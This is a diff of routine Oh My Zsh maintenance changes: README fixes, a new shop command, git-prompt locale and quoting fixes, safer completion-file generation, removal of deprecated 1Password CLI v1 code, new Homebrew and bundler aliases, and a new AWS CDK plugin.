of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -18,6 +18,7 @@ To learn more, visit [ohmyz.sh](https://ohmyz.sh), follow [@ohmyzsh](https://x.c
|
||||
Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
|
||||
|
||||
[](https://github.com/ohmyzsh/ohmyzsh/actions?query=workflow%3ACI)
|
||||
[](https://www.bestpractices.dev/projects/10713)
|
||||
[](https://twitter.com/intent/follow?screen_name=ohmyzsh)
|
||||
[](https://mstdn.social/@ohmyzsh)
|
||||
[](https://discord.gg/ohmyzsh)
|
||||
@@ -45,7 +46,7 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
|
||||
- [Manual Installation](#manual-installation)
|
||||
- [Installation Problems](#installation-problems)
|
||||
- [Custom Plugins And Themes](#custom-plugins-and-themes)
|
||||
- [Enable GNU ls In macOS And freeBSD Systems](#enable-gnu-ls-in-macos-and-freebsd-systems)
|
||||
- [Enable GNU ls In macOS And FreeBSD Systems](#enable-gnu-ls-in-macos-and-freebsd-systems)
|
||||
- [Skip Aliases](#skip-aliases)
|
||||
- [Async git prompt](#async-git-prompt)
|
||||
- [Getting Updates](#getting-updates)
|
||||
@@ -69,7 +70,7 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
|
||||
| O/S | Status |
|
||||
| :------------- | :----: |
|
||||
| Android | ✅ |
|
||||
| freeBSD | ✅ |
|
||||
| FreeBSD | ✅ |
|
||||
| LCARS | 🛸 |
|
||||
| Linux | ✅ |
|
||||
| macOS | ✅ |
|
||||
@@ -348,7 +349,7 @@ If you have many functions that go well together, you can put them as a `XYZ.plu
|
||||
If you would like to override the functionality of a plugin distributed with Oh My Zsh, create a plugin of the
|
||||
same name in the `custom/plugins/` directory and it will be loaded instead of the one in `plugins/`.
|
||||
|
||||
### Enable GNU ls In macOS And freeBSD Systems
|
||||
### Enable GNU ls In macOS And FreeBSD Systems
|
||||
|
||||
<a name="enable-gnu-ls"></a>
|
||||
|
||||
@@ -547,7 +548,7 @@ We're on social media:
|
||||
## Merchandise
|
||||
|
||||
We have
|
||||
[stickers, shirts, and coffee mugs available](https://shop.planetargon.com/collections/oh-my-zsh?utm_source=github)
|
||||
[stickers, shirts, and coffee mugs available](https://commitgoods.com/collections/oh-my-zsh?utm_source=github)
|
||||
for you to show off your love of Oh My Zsh. Again, you will become the talk of the town!
|
||||
|
||||
## License
|
||||
|
||||
13
lib/cli.zsh
13
lib/cli.zsh
@@ -28,6 +28,7 @@ function _omz {
|
||||
'plugin:Manage plugins'
|
||||
'pr:Manage Oh My Zsh Pull Requests'
|
||||
'reload:Reload the current zsh session'
|
||||
'shop:Open the Oh My Zsh shop'
|
||||
'theme:Manage themes'
|
||||
'update:Update Oh My Zsh'
|
||||
'version:Show the version'
|
||||
@@ -173,6 +174,7 @@ Available commands:
|
||||
plugin <command> Manage plugins
|
||||
pr <command> Manage Oh My Zsh Pull Requests
|
||||
reload Reload the current zsh session
|
||||
shop Open the Oh My Zsh shop
|
||||
theme <command> Manage themes
|
||||
update Update Oh My Zsh
|
||||
version Show the version
|
||||
@@ -369,7 +371,7 @@ multi == 1 && /^[^#]*\)/ {
|
||||
next
|
||||
}
|
||||
|
||||
# if multi flag is enabled and we didnt find a closing parenthesis,
|
||||
# if multi flag is enabled and we didn't find a closing parenthesis,
|
||||
# get the indentation level to match when adding plugins
|
||||
multi == 1 && /^[^#]*/ {
|
||||
indent=\"\"
|
||||
@@ -721,6 +723,15 @@ function _omz::pr::test {
|
||||
)
|
||||
}
|
||||
|
||||
function _omz::shop {
|
||||
local shop_url="https://commitgoods.com/collections/oh-my-zsh"
|
||||
|
||||
_omz::log info "Opening Oh My Zsh shop in your browser..."
|
||||
_omz::log info "$shop_url"
|
||||
|
||||
open_command "$shop_url"
|
||||
}
|
||||
|
||||
function _omz::reload {
|
||||
# Delete current completion cache
|
||||
command rm -f $_comp_dumpfile $ZSH_COMPDUMP
|
||||
|
||||
@@ -82,7 +82,7 @@ function detect-clipboard() {
|
||||
function clipcopy() { cat "${1:-/dev/stdin}" | termux-clipboard-set; }
|
||||
function clippaste() { termux-clipboard-get; }
|
||||
elif [ -n "${TMUX:-}" ] && (( ${+commands[tmux]} )); then
|
||||
function clipcopy() { tmux load-buffer "${1:--}"; }
|
||||
function clipcopy() { tmux load-buffer -w "${1:--}"; }
|
||||
function clippaste() { tmux save-buffer -; }
|
||||
else
|
||||
function _retry_clipboard_detection_or_fail() {
|
||||
|
||||
19
lib/git.zsh
19
lib/git.zsh
@@ -36,10 +36,19 @@ function _omz_git_prompt_info() {
|
||||
&& upstream=" -> ${upstream}"
|
||||
fi
|
||||
|
||||
echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref:gs/%/%%}${upstream:gs/%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}"
|
||||
echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref//\%/%%}${upstream//\%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}"
|
||||
}
|
||||
|
||||
function _omz_git_prompt_status() {
|
||||
# OHMYZSH-13330: avoid "regex matching error: illegal byte sequence".
|
||||
# zsh's "=~" operator delegates to the C library regex, which aborts with
|
||||
# REG_ILLSEQ when the subject contains an invalid byte sequence under a
|
||||
# multibyte locale (e.g. a filename with non-UTF-8 bytes in `git status`
|
||||
# output). Forcing the C locale makes every byte a valid character, so the
|
||||
# regex matching below never fails that way. `git status --porcelain` is
|
||||
# locale-independent, so this does not change the parsed output.
|
||||
local -x LC_ALL=C
|
||||
|
||||
[[ "$(__git_prompt_git config --get oh-my-zsh.hide-status 2>/dev/null)" = 1 ]] && return
|
||||
|
||||
# Maps a git status prefix to an internal constant
|
||||
@@ -117,7 +126,7 @@ function _omz_git_prompt_status() {
|
||||
fi
|
||||
|
||||
# For each status prefix, do a regex comparison
|
||||
for status_prefix in ${(k)prefix_constant_map}; do
|
||||
for status_prefix in "${(@k)prefix_constant_map}"; do
|
||||
local status_constant="${prefix_constant_map[$status_prefix]}"
|
||||
local status_regex=$'(^|\n)'"$status_prefix"
|
||||
|
||||
@@ -162,13 +171,13 @@ if zstyle -t ':omz:alpha:lib:git' async-prompt \
|
||||
# or any of the other prompt variables
|
||||
function _defer_async_git_register() {
|
||||
# Check if git_prompt_info is used in a prompt variable
|
||||
case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in
|
||||
case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
|
||||
*(\$\(git_prompt_info\)|\`git_prompt_info\`)*)
|
||||
_omz_register_handler _omz_git_prompt_info
|
||||
;;
|
||||
esac
|
||||
|
||||
case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in
|
||||
case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
|
||||
*(\$\(git_prompt_status\)|\`git_prompt_status\`)*)
|
||||
_omz_register_handler _omz_git_prompt_status
|
||||
;;
|
||||
@@ -255,7 +264,7 @@ function git_remote_status() {
|
||||
fi
|
||||
|
||||
if [[ -n $ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_DETAILED ]]; then
|
||||
git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote:gs/%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX"
|
||||
git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote//\%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX"
|
||||
fi
|
||||
|
||||
echo $git_remote_status
|
||||
|
||||
@@ -112,7 +112,7 @@ bindkey -M vicmd '^[[1;5D' backward-word
|
||||
|
||||
|
||||
bindkey '\ew' kill-region # [Esc-w] - Kill from the cursor to the mark
|
||||
bindkey -s '\el' 'ls\n' # [Esc-l] - run command: ls
|
||||
bindkey -s '\el' '^q ls\n' # [Esc-l] - run command: ls
|
||||
bindkey '^r' history-incremental-search-backward # [Ctrl-r] - Search backward incrementally for a specified string. The string may begin with ^ to anchor the search to the beginning of the line.
|
||||
bindkey ' ' magic-space # [Space] - don't do history expansion
|
||||
|
||||
|
||||
@@ -40,9 +40,9 @@ if [[ -z "$LS_COLORS" ]]; then
|
||||
fi
|
||||
|
||||
function test-ls-args {
|
||||
local cmd="$1" # ls, gls, colorls, ...
|
||||
local args="${@[2,-1]}" # arguments except the first one
|
||||
command "$cmd" "$args" /dev/null &>/dev/null
|
||||
# Usage: test-ls-args cmd args...
|
||||
# e.g. test-ls-args gls --color
|
||||
command "$@" /dev/null &>/dev/null
|
||||
}
|
||||
|
||||
# Find the option for using colors in ls, depending on the version
|
||||
|
||||
@@ -124,9 +124,11 @@ fi
|
||||
if [[ "$ZSH_DISABLE_COMPFIX" != true ]]; then
|
||||
source "$ZSH/lib/compfix.zsh"
|
||||
# Load only from secure directories
|
||||
# Reset the flag compinit sets when -i excludes insecure entries
|
||||
unset _comp_secure
|
||||
compinit -i -d "$ZSH_COMPDUMP"
|
||||
# If completion insecurities exist, warn the user
|
||||
handle_completion_insecurities &|
|
||||
[[ "$_comp_secure" == yes ]] && handle_completion_insecurities &|
|
||||
else
|
||||
# If the user wants it, load from all found directories
|
||||
compinit -u -d "$ZSH_COMPDUMP"
|
||||
|
||||
@@ -9,7 +9,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_op" ]]; then
|
||||
_comps[op]=_op
|
||||
fi
|
||||
|
||||
op completion zsh >| "$ZSH_CACHE_DIR/completions/_op" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_op"
|
||||
zf_mv -f -- =( op completion zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
# Load opswd function
|
||||
autoload -Uz opswd
|
||||
|
||||
@@ -6,14 +6,4 @@ function _opswd() {
|
||||
[[ -z "$services" ]] || compadd -a -- services
|
||||
}
|
||||
|
||||
# TODO: 2022-03-26: Remove support for op CLI 1
|
||||
autoload -Uz is-at-least
|
||||
is-at-least 2.0.0 $(op --version) || {
|
||||
function _opswd() {
|
||||
local -a services
|
||||
services=("${(@f)$(op list items --categories Login 2>/dev/null | op get item - --fields title 2>/dev/null)}")
|
||||
[[ -z "$services" ]] || compadd -a -- services
|
||||
}
|
||||
}
|
||||
|
||||
_opswd "$@"
|
||||
|
||||
@@ -46,45 +46,4 @@ function opswd() {
|
||||
(sleep 20 && clipcopy </dev/null 2>/dev/null) &!
|
||||
}
|
||||
|
||||
# TODO: 2022-03-26: Remove support for op CLI 1
|
||||
autoload -Uz is-at-least
|
||||
is-at-least 2.0.0 $(op --version) || {
|
||||
print -ru2 ${(%):-"%F{yellow}opswd: usage with op version $(op --version) is deprecated. Upgrade to CLI 2 and reload zsh.
|
||||
For instructions, see https://developer.1password.com/docs/cli/upgrade.%f"}
|
||||
|
||||
# opswd puts the password of the named service into the clipboard. If there's a
|
||||
# one time password, it will be copied into the clipboard after 10 seconds. The
|
||||
# clipboard is cleared after another 20 seconds.
|
||||
function opswd() {
|
||||
if [[ $# -lt 1 ]]; then
|
||||
echo "Usage: opswd <service>"
|
||||
return 1
|
||||
fi
|
||||
|
||||
local service=$1
|
||||
|
||||
# If not logged in, print error and return
|
||||
op list users > /dev/null || return
|
||||
|
||||
local password
|
||||
# Copy the password to the clipboard
|
||||
if ! password=$(op get item "$service" --fields password 2>/dev/null); then
|
||||
echo "error: could not obtain password for $service"
|
||||
return 1
|
||||
fi
|
||||
|
||||
echo -n "$password" | clipcopy
|
||||
echo "✔ password for $service copied to clipboard"
|
||||
|
||||
# If there's a one time password, copy it to the clipboard after 5 seconds
|
||||
local totp
|
||||
if totp=$(op get totp "$service" 2>/dev/null) && [[ -n "$totp" ]]; then
|
||||
sleep 10 && echo -n "$totp" | clipcopy
|
||||
echo "✔ TOTP for $service copied to clipboard"
|
||||
fi
|
||||
|
||||
(sleep 20 && clipcopy </dev/null 2>/dev/null) &!
|
||||
}
|
||||
}
|
||||
|
||||
opswd "$@"
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
alias-finder() {
|
||||
local cmd=" " exact="" longer="" cheaper="" wordEnd="'{0,1}$" finder="" filter=""
|
||||
local cmd=" " exact="" longer="" cheaper="" wordEnd="'?$" finder="" filter=""
|
||||
|
||||
# build command and options
|
||||
for c in "$@"; do
|
||||
@@ -31,7 +31,7 @@ alias-finder() {
|
||||
|
||||
# find with alias and grep, removing last word each time until no more words
|
||||
while [[ $cmd != "" ]]; do
|
||||
finder="'{0,1}$cmd$wordEnd"
|
||||
finder="'?$cmd$wordEnd"
|
||||
|
||||
# make filter to find only shorter results than current cmd
|
||||
if [[ $cheaper == true ]]; then
|
||||
|
||||
@@ -6,7 +6,9 @@ import argparse
|
||||
|
||||
def parse(line):
|
||||
left = line[0:line.find('=')].strip()
|
||||
right = line[line.find('=')+1:].strip('\'"\n ')
|
||||
right = line[line.find('=')+1:].strip('\n ')
|
||||
if len(right) >= 2 and right[0] == right[-1] and right[0] in '\'"':
|
||||
right = right[1:-1]
|
||||
try:
|
||||
cmd = next(part for part in right.split() if len([char for char in '=<>' if char in part])==0)
|
||||
except StopIteration:
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# Functions
|
||||
function ansible-version(){
|
||||
function ansible-version() {
|
||||
ansible --version
|
||||
}
|
||||
|
||||
function ansible-role-init(){
|
||||
if ! [ -z $1 ] ; then
|
||||
function ansible-role-init() {
|
||||
if [[ -n "$1" ]]; then
|
||||
echo "Ansible Role : $1 Creating...."
|
||||
ansible-galaxy init $1
|
||||
tree $1
|
||||
ansible-galaxy init "$1"
|
||||
tree "$1"
|
||||
else
|
||||
echo "Usage : ansible-role-init <role name>"
|
||||
echo "Example : ansible-role-init role1"
|
||||
|
||||
@@ -21,7 +21,7 @@ plugins=(... archlinux)
|
||||
| pacloc | `pacman -Qi` | Display information about a package in the local database |
|
||||
| paclocs | `pacman -Qs` | Search for packages in the local database |
|
||||
| paclr | `sudo pacman -Scc` | Remove all files from the cache |
|
||||
| paclsorphans | `sudo pacman -Qdt` | List all orphaned packages |
|
||||
| paclsorphans | `pacman -Qdt` | List all orphaned packages |
|
||||
| pacmir | `sudo pacman -Syy` | Force refresh of all package lists after updating mirrorlist |
|
||||
| pacre | `sudo pacman -R` | Remove packages, keeping its settings and dependencies |
|
||||
| pacrem | `sudo pacman -Rns` | Remove packages, including its settings and dependencies |
|
||||
|
||||
@@ -16,7 +16,7 @@ alias pacloc='pacman -Qi'
|
||||
alias paclocs='pacman -Qs'
|
||||
alias pacinsd='sudo pacman -S --asdeps'
|
||||
alias pacmir='sudo pacman -Syy'
|
||||
alias paclsorphans='sudo pacman -Qdt'
|
||||
alias paclsorphans='pacman -Qdt'
|
||||
alias pacrmorphans='sudo pacman -Rs $(pacman -Qtdq)'
|
||||
alias pacfileupg='sudo pacman -Fy'
|
||||
alias pacfiles='pacman -F'
|
||||
|
||||
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_arduino-cli" ]]; then
|
||||
fi
|
||||
|
||||
# Generate and load arduino-cli completion
|
||||
arduino-cli completion zsh >! "$ZSH_CACHE_DIR/completions/_arduino-cli" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_arduino-cli"
|
||||
zf_mv -f -- =( arduino-cli completion zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_argocd" ]]; then
|
||||
_comps[argocd]=_argocd
|
||||
fi
|
||||
|
||||
argocd completion zsh >| "$ZSH_CACHE_DIR/completions/_argocd" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_argocd"
|
||||
zf_mv -f -- =( argocd completion zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
@@ -12,4 +12,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_asdf" ]]; then
|
||||
autoload -Uz _asdf
|
||||
_comps[asdf]=_asdf
|
||||
fi
|
||||
asdf completion zsh >| "$ZSH_CACHE_DIR/completions/_asdf" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_asdf"
|
||||
zf_mv -f -- =( asdf completion zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
@@ -9,14 +9,14 @@ function agr() {
|
||||
# Update state file if enabled
|
||||
function _aws_update_state() {
|
||||
if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
|
||||
test -d $(dirname ${AWS_STATE_FILE}) || exit 1
|
||||
test -d "$(dirname "${AWS_STATE_FILE}")" || return 1
|
||||
echo "${AWS_PROFILE} ${AWS_REGION}" > "${AWS_STATE_FILE}"
|
||||
fi
|
||||
}
|
||||
|
||||
function _aws_clear_state() {
|
||||
if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
|
||||
test -d $(dirname ${AWS_STATE_FILE}) || exit 1
|
||||
test -d "$(dirname "${AWS_STATE_FILE}")" || return 1
|
||||
echo -n > "${AWS_STATE_FILE}"
|
||||
fi
|
||||
}
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
# Bedtools plugin
|
||||
|
||||
This plugin adds support for the [bedtools suite](http://bedtools.readthedocs.org/en/latest/):
|
||||
This plugin adds support for the [bedtools suite](https://bedtools.readthedocs.io/en/latest/):
|
||||
|
||||
* Adds autocomplete options for all bedtools sub commands.
|
||||
|
||||
@@ -67,6 +67,9 @@ function bgnotify_appid {
|
||||
elif [[ -n $WAYLAND_DISPLAY ]] && ([[ -n $SWAYSOCK ]] || [[ -n $I3SOCK ]]) && (( ${+commands[swaymsg]} )); then # wayland+sway
|
||||
local app_id=$(bgnotify_find_sway_appid)
|
||||
[[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
|
||||
elif [[ -n $NIRI_SOCKET ]]; then # niri
|
||||
local app_id=$(bgnotify_find_niri_appid)
|
||||
[[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
|
||||
elif [[ -z $WAYLAND_DISPLAY ]] && [[ -n $DISPLAY ]] && (( ${+commands[xprop]} )); then
|
||||
xprop -root _NET_ACTIVE_WINDOW 2>/dev/null | cut -d' ' -f5
|
||||
else
|
||||
@@ -106,6 +109,12 @@ function bgnotify_find_sway_appid {
|
||||
fi
|
||||
}
|
||||
|
||||
function bgnotify_find_niri_appid {
|
||||
if (( ${+commands[jq]} )); then
|
||||
niri msg -j windows | jq '.[] | select(.is_focused) | {app_id, id} | join(",")'
|
||||
fi
|
||||
}
|
||||
|
||||
function bgnotify_programid {
|
||||
case "$TERM_PROGRAM" in
|
||||
iTerm.app) echo 'com.googlecode.iterm2' ;;
|
||||
|
||||
@@ -17,6 +17,12 @@ If `brew` is not found in the PATH, this plugin will attempt to find it in commo
|
||||
In case you installed `brew` in a non-common location, you can still set `BREW_LOCATION` variable pointing to
|
||||
the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environment.
|
||||
|
||||
### sbin directory
|
||||
|
||||
This plugin also adds `$HOMEBREW_PREFIX/sbin` to the PATH if the directory exists and isn't already present.
|
||||
Some Homebrew formulae (e.g. `mtr`) install executables to `sbin`, which `brew doctor` checks for. This
|
||||
ensures the `bdr` alias runs without warnings.
|
||||
|
||||
## Aliases
|
||||
|
||||
| Alias | Command | Description |
|
||||
@@ -35,11 +41,14 @@ the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environmen
|
||||
| `bdr` | `brew doctor` | Check your system for potential problems. |
|
||||
| `bfu` | `brew upgrade --formula` | Upgrade only formulae (not casks). |
|
||||
| `bi` | `brew install` | Install a formula. |
|
||||
| `bih` | `brew install --HEAD` | Install a formula with --HEAD |
|
||||
| `bl` | `brew list` | List all installed formulae. |
|
||||
| `bo` | `brew outdated` | List installed formulae that have an updated version available. |
|
||||
| `br` | `brew reinstall` | Reinstall a formula. |
|
||||
| `brewp` | `brew pin` | Pin a specified formula so that it's not upgraded. |
|
||||
| `brews` | `brew list -1` | List installed formulae or the installed files for a given formula. |
|
||||
| `brews` | _function_ | List installed leaf formulae with their dependencies, then casks. |
|
||||
| `brewsp` | `brew list --pinned` | List pinned formulae, or show the version of a given formula. |
|
||||
| `brh` | `brew reinstall --HEAD` | Reinstall a formula with --HEAD |
|
||||
| `bs` | `brew search` | Perform a substring search of cask tokens and formula names for text. |
|
||||
| `bsl` | `brew services list` | List all running services. |
|
||||
| `bsoff` | `brew services stop` | Stop the service and unregister it from launching at login (or boot). |
|
||||
|
||||
@@ -30,6 +30,16 @@ if [[ -z "$HOMEBREW_PREFIX" ]]; then
|
||||
export HOMEBREW_PREFIX="$(brew --prefix)"
|
||||
fi
|
||||
|
||||
# Add Homebrew sbin to PATH if it exists and is not already in PATH.
|
||||
# Homebrew's shellenv only adds bin directories, not sbin. Some formulae
|
||||
# (e.g. mtr) install executables to sbin, and brew doctor warns if it's
|
||||
# missing from PATH.
|
||||
if [[ -d "$HOMEBREW_PREFIX/sbin" ]]; then
|
||||
if [[ ! "$PATH" == *"$HOMEBREW_PREFIX/sbin"* ]]; then
|
||||
export PATH="$HOMEBREW_PREFIX/sbin:$PATH"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ -d "$HOMEBREW_PREFIX/share/zsh/site-functions" ]]; then
|
||||
fpath+=("$HOMEBREW_PREFIX/share/zsh/site-functions")
|
||||
fi
|
||||
@@ -48,10 +58,13 @@ alias bcup='brew upgrade --cask'
|
||||
alias bdr='brew doctor'
|
||||
alias bfu='brew upgrade --formula'
|
||||
alias bi='brew install'
|
||||
alias bih='brew install --HEAD'
|
||||
alias bl='brew list'
|
||||
alias bo='brew outdated'
|
||||
alias br='brew reinstall'
|
||||
alias brewp='brew pin'
|
||||
alias brewsp='brew list --pinned'
|
||||
alias brh='brew reinstall --HEAD'
|
||||
alias bs='brew search'
|
||||
alias bsl='brew services list'
|
||||
alias bsoff='brew services stop'
|
||||
|
||||
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_buf" ]]; then
|
||||
fi
|
||||
|
||||
# Generate and load buf completion
|
||||
buf completion zsh >! "$ZSH_CACHE_DIR/completions/_buf" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_buf"
|
||||
zf_mv -f -- =( buf completion zsh ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_bun" ]]; then
|
||||
_comps[bun]=_bun
|
||||
fi
|
||||
|
||||
SHELL=zsh bun completions >| "$ZSH_CACHE_DIR/completions/_bun" &|
|
||||
zmodload -F zsh/files b:zf_mv
|
||||
() {
|
||||
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_bun"
|
||||
zf_mv -f -- =( SHELL=zsh bun completions ) "$TMPPREFIX"
|
||||
} &|
|
||||
|
||||
@@ -11,18 +11,19 @@ plugins=(... bundler)
|
||||
|
||||
## Aliases
|
||||
|
||||
| Alias | Command | Description |
|
||||
|--------|--------------------------------------|------------------------------------------------------------------------------------------|
|
||||
| `ba` | `bundle add` | Add gem to the Gemfile and run bundle install |
|
||||
| `bck` | `bundle check` | Verifies if dependencies are satisfied by installed gems |
|
||||
| `bcn` | `bundle clean` | Cleans up unused gems in your bundler directory |
|
||||
| `be` | `bundle exec` | Execute a command in the context of the bundle |
|
||||
| `bi` | `bundle install --jobs=<core_count>` | Install the dependencies specified in your Gemfile (using all cores in bundler >= 1.4.0) |
|
||||
| `bl` | `bundle list` | List all the gems in the bundle |
|
||||
| `bo` | `bundle open` | Opens the source directory for a gem in your bundle |
|
||||
| `bout` | `bundle outdated` | List installed gems with newer versions available |
|
||||
| `bp` | `bundle package` | Package your needed .gem files into your application |
|
||||
| `bu` | `bundle update` | Update your gems to the latest available versions |
|
||||
| Alias | Command | Description |
|
||||
| ------ | ----------------- | -------------------------------------------------------- |
|
||||
| `ba` | `bundle add` | Add gem to the Gemfile and run bundle install |
|
||||
| `bck` | `bundle check` | Verifies if dependencies are satisfied by installed gems |
|
||||
| `bcn` | `bundle clean` | Cleans up unused gems in your bundler directory |
|
||||
| `be` | `bundle exec` | Execute a command in the context of the bundle |
|
||||
| `bi` | `bundle install` | Install the dependencies specified in your Gemfile |
|
||||
| `bl` | `bundle list` | List all the gems in the bundle |
|
||||
| `bo` | `bundle open` | Opens the source directory for a gem in your bundle |
|
||||
| `bout` | `bundle outdated` | List installed gems with newer versions available |
|
||||
| `bp` | `bundle package` | Package your needed .gem files into your application |
|
||||
| `bu` | `bundle update` | Update your gems to the latest available versions |
|
||||
| `bua` | `bundle update --all` | Update all gems to the latest available versions |
|
||||
|
||||
## Gem wrapper
|
||||
|
||||
|
||||
@@ -4,44 +4,13 @@ alias ba="bundle add"
|
||||
alias bck="bundle check"
|
||||
alias bcn="bundle clean"
|
||||
alias be="bundle exec"
|
||||
alias bi="bundle_install"
|
||||
alias bi="bundle install"
|
||||
alias bl="bundle list"
|
||||
alias bo="bundle open"
|
||||
alias bout="bundle outdated"
|
||||
alias bp="bundle package"
|
||||
alias bu="bundle update"
|
||||
|
||||
## Functions
|
||||
|
||||
bundle_install() {
|
||||
# Bail out if bundler is not installed
|
||||
if (( ! $+commands[bundle] )); then
|
||||
echo "Bundler is not installed"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Bail out if not in a bundled project
|
||||
if ! _within-bundled-project; then
|
||||
echo "Can't 'bundle install' outside a bundled project"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Check the bundler version is at least 1.4.0
|
||||
autoload -Uz is-at-least
|
||||
local bundler_version=$(bundle version | cut -d' ' -f3)
|
||||
if ! is-at-least 1.4.0 "$bundler_version"; then
|
||||
bundle install "$@"
|
||||
return $?
|
||||
fi
|
||||
|
||||
# If bundler is at least 1.4.0, use all the CPU cores to bundle install
|
||||
if [[ "$OSTYPE" = (darwin|freebsd)* ]]; then
|
||||
local cores_num="$(sysctl -n hw.ncpu)"
|
||||
else
|
||||
local cores_num="$(nproc)"
|
||||
fi
|
||||
BUNDLE_JOBS="$cores_num" bundle install "$@"
|
||||
}
|
||||
alias bua="bundle update --all"
|
||||
|
||||
## Gem wrapper
|
||||
|
||||
|
||||
32
plugins/cdk/README.md
Normal file
32
plugins/cdk/README.md
Normal file
@@ -0,0 +1,32 @@
|
||||
# AWS CDK Plugin
|
||||
|
||||
This plugin provides aliases and autocompletion for the [AWS Cloud Development Kit (CDK)](https://aws.amazon.com/cdk/) CLI.
|
||||
|
||||
## Usage
|
||||
|
||||
Add `cdk` to the plugins array in your `.zshrc`:
|
||||
|
||||
```zsh
|
||||
plugins=(... cdk)
|
||||
```
|
||||
|
||||
## Requirements
|
||||
|
||||
- [AWS CDK CLI](https://docs.aws.amazon.com/cdk/v2/guide/getting_started.html) installed (`npm install -g aws-cdk`)
|
||||
|
||||
## Aliases
|
||||
|
||||
| Alias | Command | Description |
|
||||
| ------------ | ----------------- | ---------------------------------- |
|
||||
| `cdkl` | `cdk list` | List all stacks in the app |
|
||||
| `cdksynth` | `cdk synth` | Synthesize CloudFormation template |
|
||||
| `cdkdiff` | `cdk diff` | Compare deployed vs local stack |
|
||||
| `cdkdeploy` | `cdk deploy` | Deploy stack to AWS |
|
||||
| `cdkdestroy` | `cdk destroy` | Destroy deployed stack |
|
||||
| `cdkboot` | `cdk bootstrap` | Bootstrap CDK environment |
|
||||
| `cdkdoc` | `cdk docs` | Open CDK documentation |
|
||||
| `cdkinit` | `cdk init` | Initialize a new CDK project |
|
||||
| `cdkwatch` | `cdk watch` | Watch for changes and auto-deploy |
|
||||
| `cdkctx` | `cdk context` | Manage cached context values |
|
||||
| `cdkack` | `cdk acknowledge` | Acknowledge a notice |
|
||||
| `cdkver` | `cdk --version` | Print CDK version |
|
||||
12
plugins/cdk/_cdk
Normal file
12
plugins/cdk/_cdk
Normal file
@@ -0,0 +1,12 @@
|
||||
#compdef cdk
|
||||
|
||||
# Originally found and adapted from: https://github.com/aws/aws-cdk/discussions/24380#discussioncomment-5158176
|
||||
|
||||
local -a reply
|
||||
local IFS
|
||||
IFS=$'\n' reply=($(COMP_CWORD="$((CURRENT-1))" \
|
||||
COMP_LINE="$BUFFER" \
|
||||
COMP_POINT="$CURSOR" \
|
||||
cdk --get-yargs-completions "${words[@]}"))
|
||||
|
||||
_describe 'values' reply
|
||||
13
plugins/cdk/cdk.plugin.zsh
Normal file
13
plugins/cdk/cdk.plugin.zsh
Normal file
@@ -0,0 +1,13 @@
|
||||
# Aliases
|
||||
alias cdkl='cdk list'
|
||||
alias cdksynth='cdk synth'
|
||||
alias cdkdiff='cdk diff'
|
||||
alias cdkdeploy='cdk deploy'
|
||||
alias cdkdestroy='cdk destroy'
|
||||
alias cdkboot='cdk bootstrap'
|
||||
alias cdkdoc='cdk docs'
|
||||
alias cdkinit='cdk init'
|
||||
alias cdkwatch='cdk watch'
|
||||
alias cdkctx='cdk context'
|
||||
alias cdkack='cdk acknowledge'
|
||||
alias cdkver='cdk --version'
|
||||
